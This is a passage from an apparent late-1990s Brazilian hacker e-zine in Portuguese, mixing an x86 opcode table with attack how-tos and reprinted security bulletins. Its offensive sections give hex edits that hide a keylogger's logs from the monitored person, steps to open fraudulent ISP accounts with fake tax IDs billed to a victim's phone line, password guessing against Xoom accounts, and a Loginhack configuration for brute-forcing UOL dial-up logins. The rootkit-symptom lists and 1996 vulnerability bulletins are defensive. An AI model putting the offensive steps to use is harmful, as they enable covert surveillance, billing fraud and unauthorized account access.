ser feito nas maquinas DX266 e 486DX100. Essa caixa de dilogo indica que o 
micro ser compartilhado. Falta ainda dizer o que nele ser compartilhado.
	Mas isso voc tem capacidade de descobrir szinho porque agora eu j
to cansado de escrever este texto e vou me deitar no sofa, vr TV e comer 
BONO. Ta com inveja n?


	Obs.:Este texto, a maior parte dele, foi tirado da revista 
"INFORMTICA EXAME"(ou "EXAME INFORMATICA") ano 10 - Numero 117 - DEZEMBRO
/1995, pginas 110 e 111. 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$             $$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  7. Crackerz  $$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$             $$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



PS1: A continuao da lista s no saiu na ultima edio pq eu me esqueci de
     colocar, espero que no acontea mais.
PS2: A seo pode tah meio fraca, mas  por pouco tempo. Eu conversei com o
     Gabriel DOV(editor do zine DOV da gabscape) e ele concordou em colaborar
     para a seo Crackerz.


-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Lista de hexas (parte 4)



HEXA:		COMANDO:

28C0            SUB     AL,AL                              
28C1            SUB     CL,AL                              
28C2            SUB     DL,AL                              
28C3            SUB     BL,AL
28C4            SUB     AH,AL
28C5            SUB     CH,AL                              
28C6            SUB     DH,AL                              
28C7            SUB     BH,AL
28C8            SUB     AL,CL
28C9            SUB     CL,CL                              
28CA            SUB     DL,CL                              
28CB            SUB     BL,CL
28CC            SUB     AH,CL
28CD            SUB     CH,CL                              
28CE            SUB     DH,CL                              
28CF            SUB     BH,CL
28D0            SUB     AL,DL
28D1            SUB     CL,DL                              
28D2            SUB     DL,DL                              
28D3            SUB     BL,DL
28D4            SUB     AH,DL
28D5            SUB     CH,DL                              
28D6            SUB     DH,DL                              
28D7            SUB     BH,DL
28D8            SUB     AL,BL
28D9            SUB     CL,BL                              
28DA            SUB     DL,BL                              
28DB            SUB     BL,BL
28DC            SUB     AH,BL
28DD            SUB     CH,BL                              
28DE            SUB     DH,BL                              
28DF            SUB     BH,BL
28E0            SUB     AL,AH
28E1            SUB     CL,AH                              
28E2            SUB     DL,AH                              
28E3            SUB     BL,AH
28E4            SUB     AH,AH
28E5            SUB     CH,AH                              
28E6            SUB     DH,AH                              
28E7            SUB     BH,AH
28E8            SUB     AL,CH
28E9            SUB     CL,CH                              
28EA            SUB     DL,CH                              
28EB            SUB     BL,CH
28EC            SUB     AH,CH
28ED            SUB     CH,CH                              
28EE            SUB     DH,CH                              
28EF            SUB     BH,CH
28F0            SUB     AL,DH
28F1            SUB     CL,DH                              
28F2            SUB     DL,DH                              
28F3            SUB     BL,DH
28F4            SUB     AH,DH
28F5            SUB     CH,DH                              
28F6            SUB     DH,DH                              
28F7            SUB     BH,DH
28F8            SUB     AL,BH
28F9            SUB     CL,BH                              
28FA            SUB     DL,BH                              
28FB            SUB     BL,BH
28FC            SUB     AH,BH
28FD            SUB     CH,BH                              
28FE            SUB     DH,BH                              
28FF            SUB     BH,BH

29C0            SUB AX,AX
29C1            SUB CX,AX
29C2            SUB DX,AX
29C3            SUB BX,AX
29C8            SUB AX,CX
29C9            SUB CX,CX
29CA            SUB DX,CX
29CB            SUB BX,CX
29D0            SUB AX,DX
29D1            SUB CX,DX
29D2            SUB DX,DX
29D3            SUB BX,DX
29D8            SUB AX,BX
29D9            SUB CX,BX
29DA            SUB DX,BX
29DB            SUB BX,BX

2D$$**          SUB AX,**$$

40		INC AX
41              INC CX
42              INC DX
43		INC BX
48		DEC AX
49              DEC CX
4A              DEC DX
4B		DEC BX

81E9$$**        SUB CX,**$$
81EA$$**        SUB DX,**$$
81EB$$**        SUB BX,**$$

83E9**          SUB CX,+**
83EA**          SUB DX,+**
83EB**          SUB BX,+**

FEC0		INC AL
FEC1            INC CL
FEC2            INC DL
FEC3            INC BL
FEC4		INC AH
FEC5            INC CH
FEC6            INC DH
FEC7		INC BH
FEC8            DEC AL
FEC9            DEC CL
FECA            DEC DL
FECB            DEC BL
FECC            DEC AH
FECD            DEC CH
FECE            DEC DH
FECF            DEC BH

                           

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Crackeando o Keylog95


	Moleza! Talvz vc faa isso c o diretrio onde o windos foi instalado
no for o \win. O procedimento normal do programa seria criar o diretrio
\logx dentro do \win. Porm se o dir do windows no for o \win, vc deveria
criar o \win, o que seria muito suspeito e facil de ser localizado pelo dono
do programa.
	Do modo em que ns crackearemos, trocaremos o diretrio \win pelo
\dos, onde esto os comandos externos do dos. Em alguns programas de insta-
lao(geralmente em protugues) o \dos  substituido pelo \windows\dos. Nesse
caso crie o diretrio \dos e coloque uns textos qquer lah para que dificulte
o dono achar o file de log.
	Crackeando..
	Rode um editor hexadecimal no Keylog95.exe e procure pelo hexa:

5C 77 69 6E 5C 6C 6F 67 78
\win\logx	<--- Resultado.

	E mude para:

5C 64 6F 73 5C 6C 6F 67 78
\dos\logx	<--- Resultado.


	Agora procure pelo hexa:

5C 57 49 4E 5C 4C 4F 47 58 5C
\WIN\LOGX\	<--- Resultado.

	E mude para:

5C 44 4F 53 5C 4C 4F 47 58 5C
\DOS\LOGX\	<-- Resultado.


	Prontinho. Salve o programa e rode o programa.



-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$
$$$$$$  8. Invaso de privacidade  $#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Kits de hackeagem

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Root Kit


	Os principais sintomas que a instalao foi comprometida pelo RootKit

	Note que os itens 1 e 2 so default, e podem ser facilmente alterados
nas fontes. 

1) Porta 31337 sendo ouvida(LISTEN) ou em uso. (Pode ser verificado, mesmo 
que o programa "netstat" esteja comprometido) 

2) Existencia dos seguintes arquivos: 

     /dev/ptyp 
     /dev/ptyq 
     /dev/ptyr 
     /dev/ptys 

3) modificao de data e principalmente (j que o instalador mantem as datas
originais) de tamanho em alguns dos seguintes programas: 

 ls
 du
 login
 chsh
 chfn
 ps
 top
 inetd
 passwd
 rshd
 netstat
 ifconfig
 syslogd


	O RootKit pode ser instalado parcialmente, portanto no h necessida-
de de todos programas estarem com os tamanhos alterados.   




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Demon Kit


	Foi verificada a existncia de um pacote nos moldes do "rootkit". 
	Este em especial  chamado DemonKit e apesar de menor que o rootkit
original, tem servios sufientes para manter um usurio escondido do admis-
trador, alm de conter um exploit (Splitvt), que permite dar ao detentor do
pacote senha de root em instalaes com o splitvt vulnervel. O pacote foi
escrito originalmente para Linux, mas pode ser facilmente portado para outros
Unix, nao estando estes, portando, fora de perigo. 
	Os principais sintomas que a instalao foi comprometida pelo 
DemonKit. Note que os itens 1 e 2 so default e podem ser facilmente altera-
dos nas fontes. 

1) Porta 6013 sendo ouvida (LISTEN) ou em uso. 

2) Existncia dos seguintes arquivo: 
/dev/ptyq 

3) Modifio de data e principalmente de tamanho, em alguns dos seguintes 
programas: 

 login
 identd
 netstat
 telnet
 ping


	O DemonKit pode ser instalado parcialmente, portanto nao ha' neces-
sidade de todos programas terem sido modificados.   



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


1995-97  Pangia Informtica LTDA. 




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  9. Hack, the Art  $$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=

	Contas fantasmas na UOL e Mandic (por Slacker)


	Aconselho a fazelas com um laptop conectado a um orelho.
	Vou ensinar como faze-lo na MANDIC, na UOL o procedimento  identico
a no ser pelos Endereos :) .
	Conectesse a MANIC pelo telefone 2100066 (Porto Alegre) e use o login
ppp e a senha novo.
	Acesse a pagina de cadastro(http://www.mandic.cadastro.com.br , eu
acho). Complete o formulario com dados falsos. Aqui vo alguns dos dados
muito importantes que voc deve colocar nos devidos lugares:

* CPF : Coloque um CPF falso, para isso vc precisar de um gerador a mo.
* Forma de pagamento : Dbito na conta telefonica, e coloque um numero qquer.
* Carto de credito : No coloque nada.

	Se quizer sacanear um otario, preencha os dados deles. No final do
mes ele se resolve com a conta telefonica e os cara da MANDIC.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Hackeando a XOOM por deduo.


	Fiz uma mdia de que 1 de cada 30 usurios da xoom usam a senha igual
ao login, ou senhas tipo "homepage" e "page". Para descobrir o login  moleza
!!!

	http://members.xoom.com/cszine
				^^^^^^---Esse  meu login.

	Ae vc vai na seo de usuarios da xoom e tenta:
user : cszine
pass : cszine
ERROR
user : cszine
pass : homepage
ERROR
user : cszine
pass : page
OK ( ruin heim)



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Hackeando provedores com o Loginhack v1.00 da THC


	O que esse programa faz  conectar-se ao provedor e testar as diver-
sas senhas de uma wordlist para consegir estabelecer uma conexo.
	Primeiro vc deve acertar seu script. Eu uso o Dec-serv feito pelo 
Tron X e que jah vem por default com o programa. Edite-o e mude as linhas

init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=word.dic

	Para:

init_modem=atz
init_data=8n1
LOGFILE=uol.log
PHONE_NR=2100045
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=wordlist.dic

	Acima esto as configuraes necesarias para hackear a uol. Mude-as
adequadamente ao seu provedor. Para compila-lo use o Lh-comp.exe assim:

lh-comp dec-serv.txt

	Isso criar o dec-serv.scr .
	Agora rode o programa. Se ainda precisar configurar os dados acima
entre no Setup. Se est tudo certo selecione Load compiled Script [L]. Ae 
quando pedir o nome do script digite ? para lista-los. Ento digite o nome
do script(se fez tudo certo ser dec-serv.scr).
	Aps carregar o script digite S para iniciar. Pronto! Agora  s
esperar que talvz demore um pouco.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	


$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                   $$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  10. BoNuS!!!!  $$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                   $$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



	Antes de proceguir gostaria de informar que alguns dados foram extra-
idos dos boletins por serem extremamente sem importancia.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim de 1996 da Lista de Segurana da Pangia Informtica 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 001


18 de Agosto de 1996 
Tpico: Vulnerabilidade em Resolv+ 


	Foi verificada uma vulnerabilidade na biblioteca resolv+, usada por 
todos os programas que usam resoluo de nomes tais como: ping, telnet, rsh,
ssh e muitos outros. 
	Esta vulnerabilidade permite a um usurio local ler qualquer arquivo
do sistema incluindo /etc/shadow, e qualquer outro que o usurio root tenha 
permisso para ler, j que estes programas rodam com o suid ligado. 


1. Descrio 

	Programas como ftp, netscape e outros tem que permitir ao usurio 
comum usar determinados recursos do sistema, como sockets por exemplo. Uma 
maneira pratica de permitir isso  ligar o suid dos executveis, esta soluo
em si no representa nenhum risco a segurana da instalao. 


2. Impacto 

	Foi observado que, em determinadas circunstncias, esta caractersti-
ca pode permitir a um usurio comum ler um arquivo com permisses de leitura
restritas ao root. 
	Esta vulnerabilidade existe na biblioteca resolv+, que em alguns
sistemas  incluida na biblioteca libc (Linux, por exemplo). 


3. Soluo 

	Esta vulnerabilidade NO foi observada nos seguintes sistemas: 
. HP-UX 10.0 
. AIX 3.5 
. SunOS (sem a lib resolv+ separada) e Solaris 2.5 
. OSF1 3.2 
. Distribuicoes de Berkeley 
. SCO Unix 3.2v4.2 e 3.2v5.0.0 
	Mas FOI encontrada em Linux rodando varias verses da libc, incluindo
a mais recente (libc-5.3.12), as mais novas verses de kernel incluido a mais
recente (2.0.13). 
	Note que isso no elimina a possibilidade desta existir em outros 
sistemas Unix no testados. 
	A nica maneira de eliminar esta condio foi gerar uma nova libc, 
alterando o cdigo que continha o problema. A soluo encontrada podera ser 
melhor implementada em futuras verses, caso consiga maior cooperao. 
	As bibliotecas libc-5.3.12 para Linux estticas e dinamicas esto 
disponveis em: ftp://ftp.pangeia.com.br/pub/seg/libs 
	Onde: 
libc.a - biblioteca esttica (a.out) 
libc.so.5.3.12 - biblioteca dinamica (shared) 
libc.md5 - assinatura das bibliotecas 

	Para os programas que usam bibliotecas dinamicas nada precisa ser 
alterado, apenas copie a libc.so.5.3.12 para o diretorio /lib, e rode o pro-
grama ldconfig. Nos casos de a.out (estticos)  necessrio copiar a libc.a e
recompilar os programas que usam a resolv+. 

	Nota:  recomendado que se atualize as bibliotecas libm 
(libm.so.5.0.6) e libpthreads (libpthreads.so.1.60.4) e respectivos objetos 
relacionados. 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 002


21 de Agosto de 1996 
Tpico: Vulnerabilidade em rwhod 


	Verificada um vulnerabilidade no servidor rwhod, que disponibiliza 
informaes sobre uma determinada mquina, que podem ser observados usando 
clientes como rwho e ruptime. 
Este servio utiliza UDP para transporte das informaes entre mquinas.  


1. Impacto: 

	Foi observado que usurios remotos, usando esta falha, podem inter-
romper o servio rwho e/ou ganhar acesso (inclusive de root) em uma mquina
que esteja rodando este servio. 


2. Soluo: 

	Esta vulnerabilidade foi verificada nos seguintes sistemas: OpenBSD,
NetBSD, FreeBSD, AIX e TODAS as distribuies Linux, incluindo as mais recen-
tes. Outras plataformas NO foram examinadas, portanto NO est descartada a
possibilidade do problema tambem ocorrer. 
	O pacote com fontes e executvel para Linux ELF, eliminando a vulne-
rabilidade est disponvel em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/rwhod.tar.gz 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 003


26 de Agosto de 1996 
Topico: Vulnerabilidade em cfingerd e outros fingerd 


	Verificada uma vulnerabilidade no servidor cfingerd, que disponibi-
liza informaes sobre uma determinada maquina e/ou um determinado usurio,
as quais podem ser observados usando o cliente finger. 
	Este servio permite a um usurio remoto obter informaes sobre 
usurios locais tais como: nome de login, nome real, data e hora do ltimo 
acesso, tty, shell e chave pblica, entre outros. 


1. Impacto: 

	Foi observado que, existindo uma determinada entrada no arquivo 
/etc/cfinger.conf, um usurio local pode ler arquivos que no teria acesso 
como usurio comum, como por exemplo o /etc/shadow, ou ter acesso a disposi-
tivos como /dev/console ou /dev/kmem. 


2. Soluo: 

	Esta vulnerabilidade ocorrer em todas as plataformas onde o servidor
cfinger tiver sido compilado. 
	O problema pode ser minimizado alterando-se o dono do servio de root
para nobody, no arquivo /etc/inetd.conf. 
	Visto que o servidor cfinger, tem algumas algumas limitaes, e' AL-
TAMENTE recomendado a sua substituio pelo pacote ffingerd. Foi verificado
um pequeno problema com a verso anterior do pacote ffinger, que uma vez 
comunicado, foi prontamente corrigido pelo autor. 
	O pacote ffingerd est disponvel em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/ffingerd-1.12.tar.gz 
  



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 004


27 de Agosto de 1996 
Tpico: Vulnerabilidade em Pine3.9[1-4] 


	Verificada uma vulnerabilidade no programa Pine, que permite a lei-
tura de mails e news em ambiente Unix, OS/2 e DOS. Esta vulnerabiliade permi-
te a um usurio local obter acesso a conta de qualquer usurio quando da 
execuo do programa Pine, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no leitor de mail e news Pine, em relao a 
criao de arquivos temporrios. Permitindo que um usurio obtenha acesso, 
(privilegiado ou no) dependendo do usurio que vier a executar o programa 
Pine. 


2. Soluo: 

	Esta vulnerabilidade ocorrer em todas as plataformas Unix onde o 
Pine versoes 3.91, 3.92, 3.93 e 3.94 tiver sido compilado. 
	A versao 3.95 corrige este problema. 
	O pacote pine-3.95 est disponvel em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/pine-3.95.ELF.tgz 
ftp://ftp.pangeia.com.br/pub/seg/pac/pine3.95.tar.gz 



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 005


27 de Agosto de 1996 
Tpico: Vulnerabilidade em PKGTOOL 


	Verificada uma vulnerabilidade no programa pkgtool, que permite a 
instalao/remoo de pacotes na distribuio Slackware 3.0 do Linux. Esta 
vulnerabilidade permite a um usurio local obter acesso a conta de qualquer
usurio quando da execuo do programa pkgtool, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no programa de instalao de pacotes PKGTOOL,
na criao de arquivos temporarios. Como  normalmente o usurio root que 
instala/remove pacotes, um usuario comum usando esta vulnerabilidade, poder
obter acesso privilegiado em uma instalao local. 


2. Soluo: 

	Esta vulnerabilidade foi testada na distribuio slackware 3.0, no
esta descartada a possibilidade da mesma ocorrer em outras verses da mesma 
distribuio. O problema foi corrigido e o procedimento de instalao  
simplesmente copiar o programa "cpkgtool" para o diretrio "/usr/lib/setup",
que est simbolicamente ligado a "/sbin/pkgtool". 
	O pacote pgktool est disponvel em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/cpktool 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 006


3 de Setembro de 1996 
Tpico: Vulnerabilidade em TIN 


	Verificada uma vulnerabilidade no programa tin, que permite a leitura
de news locais e remotos (rtin ou tin -r) em vrias plataformas. Esta vulne-
rabilidade permite a um usurio local obter acesso a conta de qualquer usu-
rio quando da execuo do programa tin, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no programa de leitura de news locais e remo-
tos tin na criao de arquivos temporrios. Atraves dela um usurio local 
poder obter acesso privilegiado em uma instalao. 


2. Soluo: 

	Esta vulnerabilidade foi verificada em TODAS as versoes do programa 
tin, inclusive na ltima (1.2 PL2), compilados em TODAS as plataformas onde 
ele est disponvel. 
	Uma forma simples de resolver este problema  recompilar o programa, 
incluindo ou alterando a seguinte linha no programa Makefile: 
COPTS = -c -O -DDONT_LOG_USER 
	O pacote tin com a correo tambm est disponvel em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/tin-1.22.tar.gz 



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 007


13 de Setembro de 1996 
Tpico: Vulnerabilidade em vrios shells. 


       Verificada uma vulnerabilidade nos shells padro Bourne, entre outros.
Esta vulnerabilidade permite a um usurio local mascarar um determinado co-
mando ou usar artifcios para obter privilegios em uma instalao. 


1. Impacto: 

	Foi observada uma falha em alguns shell que permite a um usurio, 
induzir alteraes na execuo de um script, para atraves destas ler arquivos
aos quais no teria permisso ou conseguir privilegios no sistema. 
	Note que esta no  uma falha grave, mas requer ateno. 


2. Soluo: 

	Esta vulnerabilidade NAO foi verificada nas seguintes plataformas: 
. Linux 
. HP-UX 
. BSD 
	Mas o FOI nas seguintes plataformas: 
. SunOs 
. Solaris 
. AIX 
. OSF 
. SCO OpenServer 

	Use para verificar o problema:  

$ sh -c 'echo SIM ^ cat' 
$ SIM <---- Contm a falha 

Se: 

$ sh -c 'echo SIM ^ cat' 
$ SIM ^ cat <---- NO contm a falha.  

	A soluo  optar por shells padro Posix e desativar, caso seja 
possvel, os shells onde a falha for verificada. 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Agradecimentos:


	Pouca cooperao foi conseguida para conseguir identificar as mqui-
nas afetadas com o problema, meus sinceros agradecimentos a: 

Joao Cesar da Escossia (escossia@npd1ufes.br) 
Klaus Steding-Jessen (jessen@dcc.unicamp.br) 
Pedro Vazquez (vazquez@iqm.unicamp.br) 
Ricardo Nassif (rn@emacs.bluesky.net) 


1995-96  Pangia Informtica LTDA. 
http://www.pangeia.com.br/faq 




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



        Bem por hoje e' soh pessoal!
        Eu encontrei uma porcao de novas zines na inet entre elas: PSICOCYBER
, WOH ZINE, COUNT DOWN e ALZINE. Se eu abrisse um espaco na page para todas
naum iria sobrar nada pra cszine, por isso que eu vou apenas publicar a page
das devidas zines.

PSICOCYBER
http://www.angelfire.com/id/psicocyber

WOH ZINE
http://www.geocities.com/Athens/Acropolis/7632/

COUNT DOWN
http://www.geocities.com/Pentagon/Quarters/3673 

ALZINE
http://www.geocities.com/siliconvalley/way/7029


        Okz? Eu faco isso pq sei como eh ainda estar por baixo naum ser o
conhecido. Espero que facam por mim o mesmo que eu faco por vcs.
        Se vc esta comecando uma zine, mail-me que eu terei prazer em ajudar
a divulga-lo.

